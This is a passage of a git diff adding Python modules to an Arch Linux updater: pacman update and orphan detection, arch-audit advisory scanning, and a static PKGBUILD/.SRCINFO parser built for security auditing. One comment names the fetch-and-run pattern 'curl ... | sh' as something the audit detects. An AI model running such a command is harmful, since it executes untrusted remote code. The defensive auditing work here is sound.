+ if pyalpm.vercmp(sp.version, lp.version) <= 0:
+ continue
+ if _is_ignored(handle, sp):
+ result.ignored.append(lp.name)
+ continue
+ result.updates.append(
+ Update(
+ name=lp.name,
+ old=lp.version,
+ new=sp.version,
+ repo=sp.db.name,
+ download=getattr(sp, "download_size", 0),
+ # `isize` is the installed size. `size` is NOT interchangeable:
+ # pyalpm reports 0 for it on a local package and the *download*
+ # size on a sync one, so using it made every delta look like a
+ # full-size increase.
+ installed_old=getattr(lp, "isize", 0),
+ installed_new=getattr(sp, "isize", 0),
+ desc=getattr(sp, "desc", "") or "",
+ )
+ )
+
+ result.updates.sort(key=lambda u: (u.repo, u.name))
+ result.ignored.sort()
+ return result
+
+
+def _is_ignored(handle, pkg) -> bool:
+ """`IgnorePkg` and `IgnoreGroup` are shell glob patterns, not literals.
+
+ pacman.conf documents both as accepting globs and hands the patterns to
+ libalpm, which fnmatches them. Comparing for equality meant `IgnorePkg =
+ linux*` matched nothing here and the plan listed packages pacman would
+ refuse to touch.
+ """
+ if any(fnmatch.fnmatchcase(pkg.name, pat) for pat in (handle.ignorepkgs or [])):
+ return True
+ groups = getattr(pkg, "groups", []) or []
+ return any(
+ fnmatch.fnmatchcase(group, pat) for group in groups for pat in (handle.ignoregrps or [])
+ )
+
+
+def foreign(handle) -> list[str]:
+ """Installed packages with no sync db entry: the AUR set, in practice."""
+ known = set(_best_versions(handle))
+ return sorted(p.name for p in handle.get_localdb().pkgcache if p.name not in known)
+
+
+def explicit(handle) -> list[str]:
+ return sorted(p.name for p in handle.get_localdb().pkgcache if p.reason == REASON_EXPLICIT)
+
+
+def installed(handle) -> dict[str, str]:
+ """name -> version for everything installed. Useful for cross-checks."""
+ return {p.name: p.version for p in handle.get_localdb().pkgcache}
+
+
+def _satisfies(pkg, dep: str) -> bool:
+ """Whether `pkg` satisfies a dependency string, per libalpm itself.
+
+ Delegated rather than reimplemented. Version constraints on `provides` are
+ load-bearing: ffmpeg4.4 provides `libavcodec.so=58-64` while callers require
+ `=63-64`, so a name-only comparison wrongly reports it as required.
+ """
+ try:
+ return pyalpm.find_satisfier([pkg], dep) is not None
+ except Exception: # noqa: BLE001 - an unparsable dep string satisfies nothing
+ return False
+
+
+def orphans(handle, *, include_optional: bool = False) -> list[str]:
+ """Dependency-installed packages that nothing installed requires.
+
+ Matches pacman's two levels of strictness:
+
+ include_optional=False == `pacman -Qtdq` (an *optional* dependency of an
+ installed package counts as a reason to keep it)
+ include_optional=True == `pacman -Qttdq` (only hard dependencies count)
+
+ The distinction is not cosmetic: on a real system the two answers differ by
+ every package that anything merely *suggests*.
+ """
+ packages = list(handle.get_localdb().pkgcache)
+
+ # Index every package under the names it could satisfy, so a dependency only
+ # has to be tested against the handful of packages that could match it.
+ by_name: dict[str, list] = {}
+ for pkg in packages:
+ by_name.setdefault(pkg.name, []).append(pkg)
+ for spec in getattr(pkg, "provides", []) or []:
+ by_name.setdefault(dep_name(spec), []).append(pkg)
+
+ specs: set[str] = set()
+ for pkg in packages:
+ specs.update(getattr(pkg, "depends", []) or [])
+ if not include_optional:
+ specs.update(getattr(pkg, "optdepends", []) or [])
+
+ required: set[str] = set()
+ for spec in specs:
+ for candidate in by_name.get(dep_name(spec), ()):
+ if _satisfies(candidate, spec):
+ required.add(candidate.name)
+
+ return sorted(
+ pkg.name
+ for pkg in packages
+ if pkg.reason == pyalpm.PKG_REASON_DEPEND and pkg.name not in required
+ )
+
+
+# --------------------------------------------------------------------------
+# refreshing the databases
+# --------------------------------------------------------------------------
+
+SYNC_TIMEOUT = 300
+
+
+def sync_db_age(dbpath: str = "/var/lib/pacman") -> float | None:
+ """Seconds since the newest sync database was written, or None."""
+ try:
+ stamps = [p.stat().st_mtime for p in (Path(dbpath) / "sync").glob("*.db")]
+ except OSError:
+ return None
+ return time.time() - max(stamps) if stamps else None
+
+
+def _sync_argv(dbdir: str) -> list[str]:
+ """`pacman -Sy` into an alternate dbpath, exactly as checkupdates does it.
+
+ `fakeroot` matters: pacman's sandbox refuses files it does not own, and the
+ databases it writes would otherwise be owned by the invoking user.
+ """
+ args = ["pacman", "-Sy", "--noconfirm", "--dbpath", dbdir, "--logfile", "/dev/null"]
+ if shutil.which("fakeroot"):
+ return ["fakeroot", "--", args[0], "--disable-sandbox-filesystem", *args[1:]]
+ return args
+
+
+@contextlib.contextmanager
+def preview(
+ conf: str | Path = DEFAULT_CONF,
+ dbpath: str = "/var/lib/pacman",
+ *,
+ sync: bool = True,
+ timeout: int = SYNC_TIMEOUT,
+):
+ """A handle whose sync databases were refreshed into a throwaway directory.
+
+ This is what lets `updater plan` be accurate without asking for a password:
+ the real databases are never touched, and the local database is symlinked in
+ so installed versions are still visible.
+
+ Yields (handle, refreshed, note).
+ """
+ config = read_conf(conf)
+ refreshed = False
+ note = ""
+
+ with tempfile.TemporaryDirectory(prefix="updater-sync-") as dbdir:
+ local = Path(dbpath) / "local"
+ if local.is_dir():
+ with contextlib.suppress(OSError):
+ (Path(dbdir) / "local").symlink_to(local, target_is_directory=True)
+
+ if sync:
+ try:
+ proc = subprocess.run(
+ _sync_argv(dbdir),
+ capture_output=True,
+ text=True,
+ errors="replace",
+ timeout=timeout,
+ check=False,
+ )
+ except (OSError, subprocess.SubprocessError) as exc:
+ note = f"could not refresh databases: {exc}"
+ else:
+ refreshed = proc.returncode == 0
+ if not refreshed:
+ detail = (proc.stderr or proc.stdout).strip().splitlines()
+ note = detail[0] if detail else f"pacman -Sy exited {proc.returncode}"
+ else:
+ note = "database refresh skipped"
+
+ if not refreshed:
+ # fall back to the real databases rather than reporting nothing
+ yield from _fallback(config, dbpath, refreshed, note)
+ return
+
+ handle = pyalpm.Handle("/", dbdir)
+ for name in config.repos:
+ with contextlib.suppress(Exception):
+ handle.register_syncdb(name, pyalpm.SIG_DATABASE_OPTIONAL)
+ _register_ignores(handle, config)
+ try:
+ yield handle, refreshed, note
+ finally:
+ del handle
+
+
+def _fallback(config: Config, dbpath: str, refreshed: bool, note: str):
+ handle = pyalpm.Handle("/", dbpath)
+ for name in config.repos:
+ with contextlib.suppress(Exception):
+ handle.register_syncdb(name, pyalpm.SIG_DATABASE_OPTIONAL)
+ _register_ignores(handle, config)
+ try:
+ yield handle, refreshed, note
+ finally:
+ del handle
diff --git a/updater/security.py b/updater/security.py
@@ -0,0 +1,212 @@
+"""Known vulnerabilities, via `arch-audit`.
+
+`arch-audit --json` gives far more than a list of names: the advisory id, every
+affected package, severity, whether a fix exists, and the CVE list. That is
+enough to build a real drill-down rather than a count, so this module keeps the
+structured form and derives the flat lists the plan needs from it.
+"""
+
+from __future__ import annotations
+
+import json
+import shutil
+import subprocess
+import time
+from dataclasses import dataclass, field
+from pathlib import Path
+
+TIMEOUT = 120
+
+#: severity strings arch-audit uses, worst first
+SEVERITY_ORDER = (
+ "Critical risk",
+ "High risk",
+ "Medium risk",
+ "Low risk",
+ "Unknown",
+)
+
+
+@dataclass(frozen=True)
+class Advisory:
+ id: str
+ packages: tuple[str, ...] = ()
+ severity: str = "Unknown"
+ status: str = ""
+ kind: str = ""
+ fixed: str | None = None
+ issues: tuple[str, ...] = ()
+
+ @property
+ def url(self) -> str:
+ return f"https://security.archlinux.org/{self.id}"
+
+ @property
+ def has_fix(self) -> bool:
+ return bool(self.fixed)
+
+ @property
+ def severity_rank(self) -> int:
+ try:
+ return SEVERITY_ORDER.index(self.severity)
+ except ValueError:
+ return len(SEVERITY_ORDER)
+
+ @classmethod
+ def from_json(cls, raw: dict) -> Advisory:
+ fixed = raw.get("fixed")
+ return cls(
+ id=raw.get("name", ""),
+ packages=tuple(raw.get("packages") or ()),
+ severity=raw.get("severity") or "Unknown",
+ status=raw.get("status") or "",
+ kind=raw.get("type") or "",
+ fixed=str(fixed) if fixed else None,
+ issues=tuple(raw.get("issues") or ()),
+ )
+
+
+@dataclass
+class Vulnerabilities:
+ available: bool = False
+ reason: str = ""
+ advisories: list[Advisory] = field(default_factory=list)
+
+ # -- derived views -----------------------------------------------------
+
+ @property
+ def by_package(self) -> dict[str, list[Advisory]]:
+ out: dict[str, list[Advisory]] = {}
+ for advisory in self.advisories:
+ for package in advisory.packages:
+ out.setdefault(package, []).append(advisory)
+ return out
+
+ def _packages(self, *, fixed: bool) -> list[str]:
+ names = {p for a in self.advisories if a.has_fix is fixed for p in a.packages}
+ return sorted(names)
+
+ @property
+ def fixable(self) -> list[str]:
+ """Packages where a pending update resolves the advisory."""
+ return self._packages(fixed=True)
+
+ @property
+ def unfixable(self) -> list[str]:
+ """Packages with a known advisory and no available fix."""
+ return self._packages(fixed=False)
+
+ @property
+ def total(self) -> int:
+ return len(set(self.fixable) | set(self.unfixable))
+
+ @property
+ def clean(self) -> bool:
+ return self.available and not self.advisories
+
+ def sorted_advisories(self) -> list[Advisory]:
+ """Fixable first, then worst severity, then id.
+
+ An update you are about to apply can only resolve the fixable ones, so
+ those belong at the top; the rest is reference material.
+ """
+ return sorted(
+ self.advisories,
+ key=lambda a: (not a.has_fix, a.severity_rank, a.id),
+ )
+
+ def for_package(self, package: str) -> list[Advisory]:
+ return sorted(
+ (a for a in self.advisories if package in a.packages),
+ key=lambda a: (not a.has_fix, a.severity_rank, a.id),
+ )
+
+
+def binary() -> str | None:
+ return shutil.which("arch-audit")
+
+
+def _run(args: list[str], *, timeout: int = TIMEOUT) -> tuple[int, str, str]:
+ exe = binary()
+ if exe is None:
+ return 127, "", "arch-audit is not installed"
+ try:
+ proc = subprocess.run(
+ [exe, *args],
+ capture_output=True,
+ text=True,
+ errors="replace",
+ timeout=timeout,
+ check=False,
+ )
+ except subprocess.TimeoutExpired:
+ return 124, "", f"arch-audit timed out after {timeout}s"
+ except OSError as exc:
+ return 126, "", f"could not run arch-audit: {exc}"
+ return proc.returncode, proc.stdout, proc.stderr
+
+
+#: the tracker publishes a few times a day, so an hour-old copy is not stale in
+#: any way that matters, and re-running arch-audit costs over a second
+SCAN_TTL = 3600
+
+
+def cached_scan_path() -> Path:
+ from . import fetch
+
+ return fetch.cache_dir() / "arch-audit.json"
+
+
+def scan(*, timeout: int = TIMEOUT, use_cache: bool = True, force: bool = False) -> Vulnerabilities:
+ """One call answers everything the plan and the drill-down need.
+
+ Cached to disk. `arch-audit` re-fetches the tracker's whole dataset every
+ time it runs -- a second and a half here -- and the drill-down asks for it
+ once per package. Re-running it for every keypress is what made opening a
+ package feel slow, and the answer cannot have changed in between.
+ """
+ if binary() is None:
+ return Vulnerabilities(reason="arch-audit is not installed")
+
+ path = cached_scan_path()
+ if use_cache and not force:
+ try:
+ if time.time() - path.stat().st_mtime < SCAN_TTL:
+ cached = json.loads(path.read_text())
+ if isinstance(cached, list):
+ return Vulnerabilities(
+ available=True,
+ advisories=[Advisory.from_json(i) for i in cached if isinstance(i, dict)],
+ )
+ except (OSError, ValueError):
+ pass
+
+ code, out, err = _run(["--json"], timeout=timeout)
+ if code != 0:
+ detail = (err.strip().splitlines() or [f"exit status {code}"])[0]
+ return Vulnerabilities(reason=detail)
+
+ try:
+ raw = json.loads(out)
+ except ValueError as exc:
+ return Vulnerabilities(reason=f"could not parse arch-audit output: {exc}")
+ if not isinstance(raw, list):
+ return Vulnerabilities(reason="unexpected arch-audit output shape")
+
+ try:
+ path.parent.mkdir(parents=True, exist_ok=True)
+ tmp = path.with_suffix(".tmp")
+ tmp.write_text(out)
+ tmp.replace(path)
+ except OSError:
+ pass # a cache that cannot be written is not a failure
+
+ return Vulnerabilities(
+ available=True,
+ advisories=[Advisory.from_json(item) for item in raw if isinstance(item, dict)],
+ )
+
+
+#: kept so older call sites and tests keep working
+def check(*, timeout: int = TIMEOUT) -> Vulnerabilities:
+ return scan(timeout=timeout)
diff --git a/updater/srcinfo.py b/updater/srcinfo.py
@@ -0,0 +1,606 @@
+"""Read AUR package metadata, statically.
+
+.SRCINFO is a stable, machine-generated format and is the right interface for
+reading AUR metadata.
+
+A PKGBUILD is not: it is executable shell owned by whoever maintains the package.
+`source`-ing one to inspect it runs their code at *review* time, before any
+decision to trust it has been made. Everything here is static parsing, and the
+tool must never grow a "just source it to be sure" shortcut.
+"""
+
+from __future__ import annotations
+
+import platform
+import re
+from dataclasses import dataclass, field
+from pathlib import Path
+
+# fields that are lists and may legitimately repeat
+_LIST_FIELDS = {
+ "arch",
+ "license",
+ "makedepends",
+ "checkdepends",
+ "depends",
+ "optdepends",
+ "provides",
+ "conflicts",
+ "replaces",
+ "source",
+ "sha256sums",
+ "sha512sums",
+ "b2sums",
+ "md5sums",
+ "validpgpkeys",
+ "options",
+ "backup",
+ "groups",
+ "noextract",
+}
+
+#: architectures Arch recognises in `.SRCINFO` suffixed keys
+_ARCHES = ("x86_64", "aarch64", "armv7h", "i686", "riscv64", "pentium4", "any")
+#: the one this machine builds for, so another architecture's deps and sources
+#: do not become edges here
+_HOST_ARCH = platform.machine()
+
+_VER_CONSTRAINT = re.compile(r"(>=|<=|=|>|<)")
+
+
+def dep_name(spec: str) -> str:
+ """`python>=3.14` -> `python`; `foo: for bar` -> `foo`."""
+ spec = spec.split(":", 1)[0].strip()
+ return _VER_CONSTRAINT.split(spec, 1)[0].strip()
+
+
+@dataclass
+class SrcInfo:
+ pkgbase: str = ""
+ pkgname: list[str] = field(default_factory=list)
+ pkgver: str = ""
+ pkgrel: str = ""
+ epoch: str = ""
+ url: str = ""
+ install: str = ""
+ makedepends: list[str] = field(default_factory=list)
+ checkdepends: list[str] = field(default_factory=list)
+ depends: list[str] = field(default_factory=list)
+ optdepends: list[str] = field(default_factory=list)
+ provides: list[str] = field(default_factory=list)
+ conflicts: list[str] = field(default_factory=list)
+ replaces: list[str] = field(default_factory=list)
+ source: list[str] = field(default_factory=list)
+ sha256sums: list[str] = field(default_factory=list)
+ sha512sums: list[str] = field(default_factory=list)
+ b2sums: list[str] = field(default_factory=list)
+ md5sums: list[str] = field(default_factory=list)
+ validpgpkeys: list[str] = field(default_factory=list)
+ arch: list[str] = field(default_factory=list)
+ license: list[str] = field(default_factory=list)
+ options: list[str] = field(default_factory=list)
+ backup: list[str] = field(default_factory=list)
+ groups: list[str] = field(default_factory=list)
+ noextract: list[str] = field(default_factory=list)
+ # per-subpackage depends, kept separate so a subpackage's deps are visible
+ per_package_depends: dict[str, list[str]] = field(default_factory=dict)
+
+ @property
+ def sums(self) -> list[str]:
+ """Every checksum list this package declares, in preference order.
+
+ A package may use only b2sums or only sha512sums. Reading just
+ sha256sums made those packages look as though they declared no checksums
+ at all, and the audit treats "no checksums on a network source" as
+ nothing to check -- so a SKIP introduced on a non-VCS source went
+ unreported.
+ """
+ return [*self.sha256sums, *self.sha512sums, *self.b2sums, *self.md5sums]
+
+ @property
+ def has_sums(self) -> bool:
+ return bool(self.sums)
+
+ @property
+ def primary_sums(self) -> list[str]:
+ """The checksum list that parallels `source`.
+
+ A PKGBUILD uses one checksum array for its source list, so the first
+ non-empty one is the list to pair against `source` by index.
+ Concatenating them (`sums`) would misalign the indices for any package
+ that declares more than one kind.
+ """
+ for candidate in (self.sha256sums, self.sha512sums, self.b2sums, self.md5sums):
+ if candidate:
+ return candidate
+ return []
+
+ @property
+ def version(self) -> str:
+ core = f"{self.pkgver}-{self.pkgrel}" if self.pkgrel else self.pkgver
+ return f"{self.epoch}:{core}" if self.epoch else core
+
+ @property
+ def build_depends(self) -> list[str]:
+ """Everything needed before `package()` runs, deduped, order preserved."""
+ seen: dict[str, None] = {}
+ for spec in (*self.makedepends, *self.checkdepends, *self.depends):
+ seen.setdefault(dep_name(spec), None)
+ return list(seen)
+
+ def declared_names(self) -> list[str]:
+ return self.pkgname or ([self.pkgbase] if self.pkgbase else [])
+
+
+def parse_srcinfo(text: str) -> SrcInfo:
+ info = SrcInfo()
+
+ for raw in text.splitlines():
+ line = raw.strip()
+ if not line or "=" not in line:
+ continue
+ key, _, value = line.partition("=")
+ key, value = key.strip(), value.strip()
+ if not key or not value:
+ continue
+
+ # `.SRCINFO` carries `source_x86_64`, `depends_aarch64` and the like.
+ # Without this the arch-specific entries match no field at all and are
+ # dropped, so a package whose sources are arch-suffixed looks like it
+ # has no sources and no checksums -- a silent false negative on the
+ # architecture actually being built for.
+ # Matched against the known names rather than split on the last
+ # underscore: the architecture names contain one, so `x86_64` would
+ # otherwise split into `source_x86` and `64`. Only this machine's
+ # architecture is merged -- another one's dependencies and sources do
+ # not apply here and would become false edges in the build graph.
+ for arch in (_HOST_ARCH, "any"):
+ if key.endswith(f"_{arch}") and key != f"_{arch}":
+ base = key[: -len(arch) - 1]
+ if base in _LIST_FIELDS or hasattr(info, base):
+ key = base
+ break
+
+ if key == "pkgbase":
+ info.pkgbase = value
+ current_pkg = None
+ continue
+ if key == "pkgname":
+ info.pkgname.append(value)
+ current_pkg = value
+ info.per_package_depends.setdefault(value, [])
+ continue
+
+ if key == "depends" and current_pkg is not None:
+ info.per_package_depends[current_pkg].append(value)
+ info.depends.append(value)
+ continue
+
+ if key in _LIST_FIELDS:
+ getattr(info, key, None)
+ if hasattr(info, key) and isinstance(getattr(info, key), list):
+ getattr(info, key).append(value)
+ continue
+
+ if hasattr(info, key):
+ setattr(info, key, value)
+
+ return info
+
+
+# --------------------------------------------------------------------------
+# static PKGBUILD parsing
+# --------------------------------------------------------------------------
+
+
+@dataclass
+class Pkgbuild:
+ """A statically parsed PKGBUILD. `raw` is kept for pattern scanning."""
+
+ raw: str
+ vars: dict[str, list[str]] = field(default_factory=dict)
+ funcs: dict[str, str] = field(default_factory=dict)
+ #: `raw` with comments removed. Whole-file rules scan this instead, because a
+ #: comment saying "never do `curl ... | sh` here" is not a network call.
+ #: Suppression also looks for the pattern anywhere in the previous revision,
+ #: so the same comment there suppresses a genuine new finding.
+ code: str = ""
+
+ def get(self, name: str) -> list[str]:
+ return self.vars.get(name, [])
+
+ def one(self, name: str) -> str:
+ v = self.vars.get(name)
+ return v[0] if v else ""
+
+
+def _strip_comment(line: str) -> str:
+ """Remove a trailing comment, the way the shell decides what one is.
+
+ A `#` only begins a comment when it starts a word: at the beginning of the
+ line, or just after whitespace, and never inside quotes. Shell does not
+ treat every hash as a comment and neither may we, because PKGBUILDs are full
+ of literal ones -- `git+https://host/r.git#tag=v1.0`, `${#arr[@]}`, `$#`.
+
+ Treating them as comments was expensive. It truncated array elements
+ mid-value, which removed a `}` or `{` and skewed brace depth so one function
+ swallowed the next; a swallowed function is a function the audit never
+ scans. It also silently dropped checksums, leaving the audit with nothing to
+ compare.
+ """
+ quote = ""
+ i = 0
+ while i < len(line):
+ char = line[i]
+ if quote:
+ if char == "\\" and quote == '"':
+ i += 2
+ continue
+ if char == quote:
+ quote = ""
+ elif char in "'\"":
+ quote = char
+ elif char == "#" and (i == 0 or line[i - 1] in " \t"):
+ return line[:i]
+ i += 1
+ return line
+
+
+def _skip_substitution(text: str, i: int) -> int:
+ """Index just past a `$(...)` or `${...}` starting at `i`, or -1 if unclosed.
+
+ Substitutions are their own quoting context. `"$(sed -n "s/x/y/p" f)"` is
+ valid shell: the inner quotes belong to the substitution and do not close the
+ outer one. Reading them as ordinary quotes left the scanner convinced a quote
+ was still open, so a function body never appeared to end and it swallowed
+ every function after it -- which meant the audit never saw them.
+ """
+ if i + 1 >= len(text) or text[i] != "$" or text[i + 1] not in "({":
+ return -1
+ opener = text[i + 1]
+ closer = ")" if opener == "(" else "}"
+ depth = 1
+ quote = ""
+ j = i + 2
+ while j < len(text):
+ char = text[j]
+ if quote:
+ if char == "\\" and quote == '"':
+ j += 2
+ continue
+ if char == quote:
+ quote = ""
+ elif char in "'\"":
+ quote = char
+ elif char == opener:
+ depth += 1
+ elif char == closer:
+ depth -= 1
+ if depth == 0:
+ return j + 1
+ j += 1
+ return -1
+
+
+def _scan_array_end(body: str) -> int:
+ """Index of the `)` that closes an array whose `(` was just consumed.
+
+ Quote-aware, because a quoted element may contain a `)`:
+ `'foo: does things (fast)'`. Stopping at the first one truncated the element,
+ left the quotes unbalanced, and made the fallback split the rest of the
+ array on whitespace -- losing entries outright.
+
+ Command substitutions are skipped over, so `source=($(printf '%s' a))` still
+ finds the array's own closing paren.
+ """
+ quote = ""
+ i = 0
+ while i < len(body):
+ char = body[i]
+ if char == "\\" and quote != "'":
+ i += 2
+ continue
+ if quote == "'":
+ if char == "'":
+ quote = ""
+ i += 1
+ continue
+ if char == '"':
+ quote = "" if quote == '"' else '"'
+ i += 1
+ continue
+ if char == "'" and quote == "":
+ # only opens a quote outside one; a `'` inside "..." is literal
+ quote = "'"
+ i += 1
+ continue
+ # a substitution is its own quoting context even inside double quotes,
+ # which is where they usually are: `"$(sed -n "s/x/y/p" f)"`
+ if char == "$" and (body.startswith("$(", i) or body.startswith("${", i)):
+ # `$(( 1 + 2 ))` nests, so a plain depth counter gets this wrong and
+ # mistakes the arithmetic's own closing paren for the array's
+ end = _skip_substitution(body, i)
+ if end < 0:
+ return -1
+ i = end
+ continue
+ if quote == "" and char == ")":
+ return i
+ i += 1
+ return -1
+
+
+#: `foo{,.sig}` and friends. Non-nested only, and never a `${substitution}` --
+#: `https://x/f-${pkgver}.tar.gz{,.sig}` has two brace groups and only the second
+#: one is a list.
+_BRACE = re.compile(r"(?<!\$)\{([^{}]*)\}")
+
+
+def _expand_braces(word: str, limit: int = 64) -> list[str]:
+ """Expand a bash brace list, e.g. `sdl2-1.0.tar.gz{,.sig}` -> two entries.
+
+ Bash performs this at parse time, and .SRCINFO records the expanded result,
+ so a source entry with a brace list is really several sources. Leaving it
+ unexpanded made `source` shorter than `sha256sums`, which shifted every
+ checksum onto the wrong source -- and the audit pairs them by position.
+ """
+ match = _BRACE.search(word)
+ if not match:
+ return [word]
+ body = match.group(1)
+ if "," not in body:
+ return [word] # `{a}` is literal in bash, not a list
+ out: list[str] = []
+ for option in body.split(","):
+ out.extend(_expand_braces(word[: match.start()] + option + word[match.end() :], limit))
+ if len(out) > limit:
+ return [word] # pathological; better to under-expand than explode
+ return out
+
+
+def _split_words(body: str) -> list[str]:
+ """Split an array body into elements. No variable expansion.
+
+ Hand-written rather than shlex, because shlex splits on the whitespace
+ *inside* a command substitution: `$(_checksum ${_tag})` came back as
+ `['$(_checksum', '${_tag})']`, which detaches a source or a checksum from the
+ thing that identifies it. Substitutions are kept whole, and quoted text keeps
+ its spaces.
+ """
+ words: list[str] = []
+ current: list[str] = []
+ quote = ""
+ i = 0
+ while i < len(body):
+ char = body[i]
+ if quote:
+ if char == "\\" and quote == '"' and i + 1 < len(body):
+ current.append(body[i + 1])
+ i += 2
+ continue
+ if char == quote:
+ quote = ""
+ else:
+ current.append(char)
+ elif char in "'\"":
+ quote = char
+ elif char == "\\":
+ # a backslash-newline continues the word; otherwise it escapes
+ if i + 1 < len(body) and body[i + 1] == "\n":
+ i += 2
+ continue
+ if i + 1 < len(body):
+ current.append(body[i + 1])
+ i += 2
+ continue
+ elif body.startswith("$(", i) or body.startswith("${", i):
+ opener = body[i + 1]
+ closer = ")" if opener == "(" else "}"
+ depth = 1
+ # consume both `$` and its opener before scanning, or the loop counts
+ # the opener a second time and swallows the rest of the array
+ current.append(body[i])
+ current.append(opener)
+ i += 2
+ while i < len(body) and depth > 0:
+ inner = body[i]
+ if inner == opener:
+ depth += 1
+ elif inner == closer:
+ depth -= 1
+ current.append(inner)
+ i += 1
+ continue
+ elif char.isspace():
+ if current:
+ words.append("".join(current))
+ current = []
+ else:
+ current.append(char)
+ i += 1
+ if current:
+ words.append("".join(current))
+ expanded: list[str] = []
+ for word in words:
+ expanded.extend(_expand_braces(word))
+ return expanded
+
+
+#: a function body is delimited by one of these pairs
+_OPENERS = {"{": "}", "(": ")"}
+
+
+def _func_head(stripped: str) -> tuple[str, str, str] | None:
+ """`(name, opener, remainder)` for a function definition line, else None.
+
+ Function names may contain more than word characters: split packages use
+ `package_<pkgname>()`, and real PKGBUILDs have hyphenated names, so the
+ character class has to allow them or those bodies are never parsed and never
+ scanned.
+ """
+ match = re.match(r"^([A-Za-z_][A-Za-z0-9_.+-]*)\s*\(\s*\)\s*(.*)$", stripped)
+ if not match:
+ return None
+ name, rest = match.group(1), match.group(2).strip()
+ opener = ""
+ if rest[:1] in _OPENERS:
+ opener, rest = rest[0], rest[1:]
+ elif rest:
+ return None # something else on the line: not a definition after all
+ return name, opener, rest
+
+
+def _body_closed(text: str, opener: str, closer: str) -> bool:
+ """Whether every unquoted opener in `text` has been closed.
+
+ Quote-aware on purpose. A `}` inside a quoted string used to be counted, so
+ one stray brace made a function swallow the next one -- and a swallowed
+ function is a function the audit never looks at.
+ """
+ quote = ""
+ depth = 0
+ i = 0
+ while i < len(text):
+ char = text[i]
+ if char == "\\" and quote != "'":
+ i += 2
+ continue
+ if quote == "'":
+ if char == "'":
+ quote = ""
+ i += 1
+ continue
+ if char == '"':
+ quote = "" if quote == '"' else '"'
+ i += 1
+ continue
+ if char == "'" and quote == "":
+ # only opens a quote outside one; a `'` inside "..." is literal
+ quote = "'"
+ i += 1
+ continue
+ # inside double quotes a substitution is still its own context, and the
+ # braces of `${...}` must not be counted towards the body's depth
+ if char == "$" and (text.startswith("$(", i) or text.startswith("${", i)):
+ end = _skip_substitution(text, i)
+ if end < 0:
+ return False # unclosed substitution: keep reading lines
+ i = end
+ continue
+ if quote == "":
+ if char == opener:
+ depth += 1
+ elif char == closer:
+ depth -= 1
+ i += 1
+ return depth <= 0 and not quote
+
+
+def _strip_body(text: str, opener: str, closer: str) -> str:
+ """Drop the single enclosing pair of delimiters."""
+ text = text.strip()
+ if opener and text.startswith(opener):
+ text = text[1:]
+ text = text.rstrip()
+ if closer and text.endswith(closer):
+ text = text[:-1]
+ return text.strip()
+
+
+def parse_pkgbuild(text: str) -> Pkgbuild:
+ """Parse assignments and function bodies without executing anything.
+
+ Deliberately not a shell. It handles the shapes PKGBUILDs actually take
+ (scalar assignments, quoted arrays spanning lines, `name() { ... }`,
+ `name() ( ... )`) and records anything it does not understand verbatim in
+ `raw`, which is what the audit scans. It never expands variables.
+ """
+ pb = Pkgbuild(raw=text)
+ pb.code = "\n".join(_strip_comment(line) for line in text.splitlines())
+ lines = text.splitlines()
+ i = 0
+ while i < len(lines):
+ stripped = _strip_comment(lines[i]).strip()
+
+ head = _func_head(stripped)
+ if head is not None:
+ name, opener, rest = head
+ if not opener:
+ # `prepare()` with the brace on the following line
+ nxt = _strip_comment(lines[i + 1]).strip() if i + 1 < len(lines) else ""
+ if nxt[:1] in _OPENERS:
+ opener, rest = nxt[0], nxt[1:]
+ i += 1
+ if opener:
+ closer = _OPENERS[opener]
+ # keep the opener in the text being balanced: `check() (` has an
+ # empty remainder, which would otherwise already look closed and
+ # the whole body would be skipped
+ body = opener + rest
+ while not _body_closed(body, opener, closer) and i + 1 < len(lines):
+ i += 1
+ body += "\n" + _strip_comment(lines[i])
+ body = _strip_body(body, opener, closer)
+ else:
+ body = rest
+ pb.funcs[name] = body
+ i += 1
+ continue
+
+ # `name[3]=value` assigns one element, which is how a package sets a
+ # single checksum to SKIP without rewriting the whole array
+ indexed = re.match(r"^([A-Za-z_][A-Za-z0-9_]*)\[(\d+)\]\s*=\s*(.+)$", stripped)
+ if indexed:
+ name, slot, value = (indexed.group(1), int(indexed.group(2)), indexed.group(3).strip())
+ if len(value) >= 2 and value[0] in "'\"" and value.endswith(value[0]):
+ value = value[1:-1]
+ current = pb.vars.setdefault(name, [])
+ while len(current) <= slot:
+ current.append("")
+ current[slot] = value
+ i += 1
+ continue
+
+ arr = re.match(r"^([A-Za-z_][A-Za-z0-9_]*)\s*(\+?=)\s*\((.*)$", stripped)
+ if arr:
+ name, operator, rest = arr.group(1), arr.group(2), arr.group(3)
+ while _scan_array_end(rest) < 0 and i + 1 < len(lines):
+ i += 1
+ rest += "\n" + _strip_comment(lines[i])
+ end = _scan_array_end(rest)
+ if end >= 0:
+ rest = rest[:end]
+ words = _split_words(rest)
+ if operator == "=":
+ pb.vars[name] = words
+ else:
+ pb.vars.setdefault(name, []).extend(words)
+ i += 1
+ continue
+
+ scalar = re.match(r"^([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(.+)$", stripped)
+ if scalar:
+ value = scalar.group(2).strip()
+ # keep the whole value: `pkgdesc=hello world` is one string, and
+ # taking the first word silently truncated every unquoted one
+ if len(value) >= 2 and value[0] in "'\"" and value.endswith(value[0]):
+ value = value[1:-1]
+ pb.vars.setdefault(scalar.group(1), []).append(value)
+ i += 1
+ continue
+
+ i += 1
+ return pb
+
+
+def load(clone_dir: Path, package: str) -> tuple[SrcInfo | None, Pkgbuild | None]:
+ """Read both metadata files for a cloned AUR package. Never executes them."""
+ base = clone_dir / package
+ srcinfo = pkgbuild = None
+ si = base / ".SRCINFO"
+ if si.is_file():
+ srcinfo = parse_srcinfo(si.read_text(errors="replace"))
+ pk = base / "PKGBUILD"
+ if pk.is_file():
+ pkgbuild = parse_pkgbuild(pk.read_text(errors="replace"))
+ return srcinfo, pkgbuild
diff --git a/updater/stream.py b/updater/stream.py
@@ -0,0 +1,385 @@
+"""Run the update, emitting newline-delimited JSON on stdout.
+
+The front end is a separate process, so the two halves need a protocol. This is
+it: one JSON object per line, nothing else.
+
+**stdout is JSON only.** Anything a human would want to read goes to stderr or
+into the per-phase log file. A stray print on stdout is a parse failure in the Go
+side, and this codebase has already been bitten once by a tool that printed an
+error and still exited zero (see flatpak.py).
+
+Events:
+
+ {"event":"start", "phases":[...], "total":N}
+ {"event":"phase_start","phase":"repo","command":"pacman -Syu","total":N}
+ {"event":"build", "packages":[{"name":..,"phase":..,"elapsed":..,"jobs":..}],
+ "download_bytes":N,"download_rate":F,"done":N}
+ {"event":"finished", "name":..,"elapsed":F,"state":"done","version":..,
+ "shared":bool}
+ {"event":"failed", "name":..,"reason":..}
